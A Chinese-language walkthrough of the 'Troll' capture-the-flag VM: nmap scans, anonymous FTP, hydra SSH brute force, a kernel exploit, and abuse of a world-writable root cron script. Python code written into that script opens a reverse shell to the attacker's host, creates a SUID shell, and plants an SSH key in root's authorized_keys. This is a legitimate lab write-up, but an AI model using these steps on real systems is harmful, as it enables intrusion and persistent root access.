troll

第四个靶机

信息收集

前期依然是信息收集,先找到靶机的IP,这里对应的是192.168.4.133,接下来是端口扫描:nmap -p- 192.168.4.133,扫描发现存在21/22/80对应 ftp服务、ssh服务、web服务。

这里最开始探测端口信息用的是nmap -p- -sV 192.168.4.133 ,输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -p- -sV 192.168.4.133
Starting Nmap 7.92 ( https://nmap.org ) at 2026-03-02 02:34 EST
Nmap scan report for 192.168.4.133
Host is up (0.0015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:A8:64:71 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.41 seconds

基本上只探测出来了版本,这里一开始看到vsftpd版本上网搜了下,没找到什么可以很好利用的poc,因为还没有登录进去。

但是如果换一种探测命令nmap -p- -sV -sS -A 192.168.4.133

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Starting Nmap 7.92 ( https://nmap.org ) at 2026-03-02 02:42 EST
Nmap scan report for 192.168.4.133
Host is up (0.00031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 09 2014 lol.pcap [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.4.130
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:0C:29:A8:64:71 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms 192.168.4.133

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds

探测出来的信息更多。并且通过上面可以直接发现ftp可以用Anonymous登进去,密码是空,尝试登录,发现直接就登录进去了:

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ftp 192.168.4.133
Connected to 192.168.4.133.
220 (vsFTPd 3.0.2)
Name (192.168.4.133:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

登录上去之后ls可以发现存在lol.pcap ,直接get lol.pcap 就可以下载到kali的桌面上了,用wireshark打开追踪一下TCP流可以发现:

troll1

sup3rs3cr3tdirlol 看上去像是一个密码,但其实是一个目录,访问http://192.168.4.133/sup3rs3cr3tdirlol/可以下载到一个ELF可执行文件。拖到kali里面分别用exiftool、binwalk、strings分别找一下信息,通过strings可以发现一段有用的信息:Find address 0x0856BF to proceed,这个其实也是一个目录,笑。

所以算是脑洞还是算真实应用场景会出现的情况?不过什么都尝试一下是正确的。比如前面的sup3rs3cr3tdirlol第一眼看上去更像是密码。访问http://192.168.4.133/0x0856BF,给了两个文件夹,两个文件夹里面都有txt信息,很容易让人联想到一个是用户名,一个是密码,但是这里比较搞人的事是密码是Pass.txt而不是里面的内容。用hydra爆破一下:hydra -L username.txt -p Pass.txt 192.168.4.133 -s 22 ssh

troll2

爆破出来的ssh账号密码为:overflow/Pass.txt;直接ssh登录上去 ssh@overflow 192.168.4.133,拿到的权限是普通用户的权限overflow,所以依然是需要提权,uname -a 发现内核信息:

1
2
overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

版本是3.13.0,kali搜一下相关内核漏洞:searchsploit Linux Ubuntu 3.13.0,发现存在两个可以利用的:

troll3

提权

内核提权

把37292.c文件cp到桌面上也可以看到使用说明,直接gcc 37292.c -o ofs;./ofs即可,直接就内核提权了。

troll4

定时任务提权

渗透的过程中可以发现存在每过几分钟ssh就断开连接的情况,怀疑是定时任务。通过find / -name "*cron*" 2>/dev/null 来全局模糊查询一下带有cron字符的文件及目录:

troll5

特性 /etc/crontab /var/spool/cron/crontabs/ /var/log/cronlog
角色 系统级定时任务文件 用户级定时任务目录 日志文件
所有者 Root 专用 对应各个用户 系统日志服务
格式内容 包含“用户名”字段(指定谁运行) 不包含用户名(隐含为文件所属者) 记录任务执行的时间、用户、命令
编辑方式 直接使用 vinano 编辑 必须使用 crontab -e 命令 仅供读取(需 root 权限)
渗透价值 极高:常有 root 权限运行的任务 :可查看/修改普通用户的私有任务 :发现隐藏的脚本运行频率

查看这个日志文件: cat /var/log/cronlog 可以发现:

1
2
$ cat /var/log/cronlog
*/2 * * * * cleaner.py

发现存在cleaner.py文件,我们可以全局搜索一下这个文件的位置:find / -name cleaner.py 2>/dev/null ,发现是存在于 /lib/log/cleaner.py ,查看一下python文件的内容,很简单的几行代码,就是删除/tmp下的所有文件。

我们查看一下cleaner.py的权限:ls -la /lib/log/cleaner.py

1
2
$ ls -la /lib/log/cleaner.py
-rwxrwxrwx 1 root root 334 Mar 2 17:42 /lib/log/cleaner.py

反弹shell

所有用户都可以对它读写执行。那么现在有个思路很清晰了,就是可以改cleaner.py的内容,搞一个反弹shell,如果是以root用户权限来执行的python文件,就可以拿到root权限了。所以我们可以改一下cleaner.py文件的内容,这里不能直接通过vim改,用的是nano

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def con():
import socket, time,pty, os
host='192.168.4.130'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()

然后在kali上面进行监听,过一会儿,就可以发现拿到root权限了,反过来说明这个cleaner.py确实是以root权限运行的。

troll6

运行root shell

cleaner.py的内容修改为os.system('cp /bin/sh /tmp/test') os.system('chmod u+s /tmp/test') ;一开始我是直接想通过os.system("/bin/bash")来开启一个shell。这样是不行的,虽然成功执行了这个命令,也产生了一个进程,但是不能交互啊,这个进程都不知道自己的输出和输入在那,不会返回到我们的kali上面来。

所以就换一种方式嘛。linux 一切皆文件,命令也是文件,直接以root权限把 /bin/sh 弄到 /tmp目录下面。然后再给它赋予u+s,那么就是说所有用户运行这个文件的时候,都是以文件所有者的身份来运行,而这个文件所有者又是一开始通过root搞过去的,所以就提权了,具体方式如下:

troll7

可以发现成功提权到root了。

写ssh公钥

利用cleaner.py文件往/root/.ssh/authorized_keys文件写公钥,然后连过去。

1
2
3
4
5
6
7
8
#!/usr/bin/env python
import os
import sys
try:
os.system('mkdir /root/.ssh;chmod 775 /root/.ssh;echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1JGR4Ywmhs9Y07GAL1cPGDom0HLhayh4Z/8gmrmED8 kali@kali" >>/root/.ssh/authorized_keys')
except:
sys.exit()

kali上面利用ssh-keygen 来生成公私钥对,一路回车即可。默认都是放在~/.ssh 下面的。 生成的xx.pub这个公钥的内容就是我们要往authorized_keys写的内容,如上所示。写完之后,等个2分钟执行完就可以ssh连接过去了

troll8

验证

回过头看,看看定时任务到底写了个啥,现在我们已经是以root的权限上去了,可以肆无忌惮的看文件内容了:我们看一下/var/spool/cron/crontabs/root的内容:

1
2
3
# m h  dom mon dow   command
*/5 * * * * /usr/bin/python /opt/lmao.py
*/2 * * * * /usr/bin/python /lib/log/cleaner.py

果然是执行了cleaner.py,当然还有一个文件/opt/lmao.py我们也可以看一下:

1
2
3
4
5
#!/usr/bin/env python
import os
os.system('echo "TIMES UP LOL!"|wall')
os.system("pkill -u 'overflow'")
sys.exit()

会直接退出overflow账号的登录。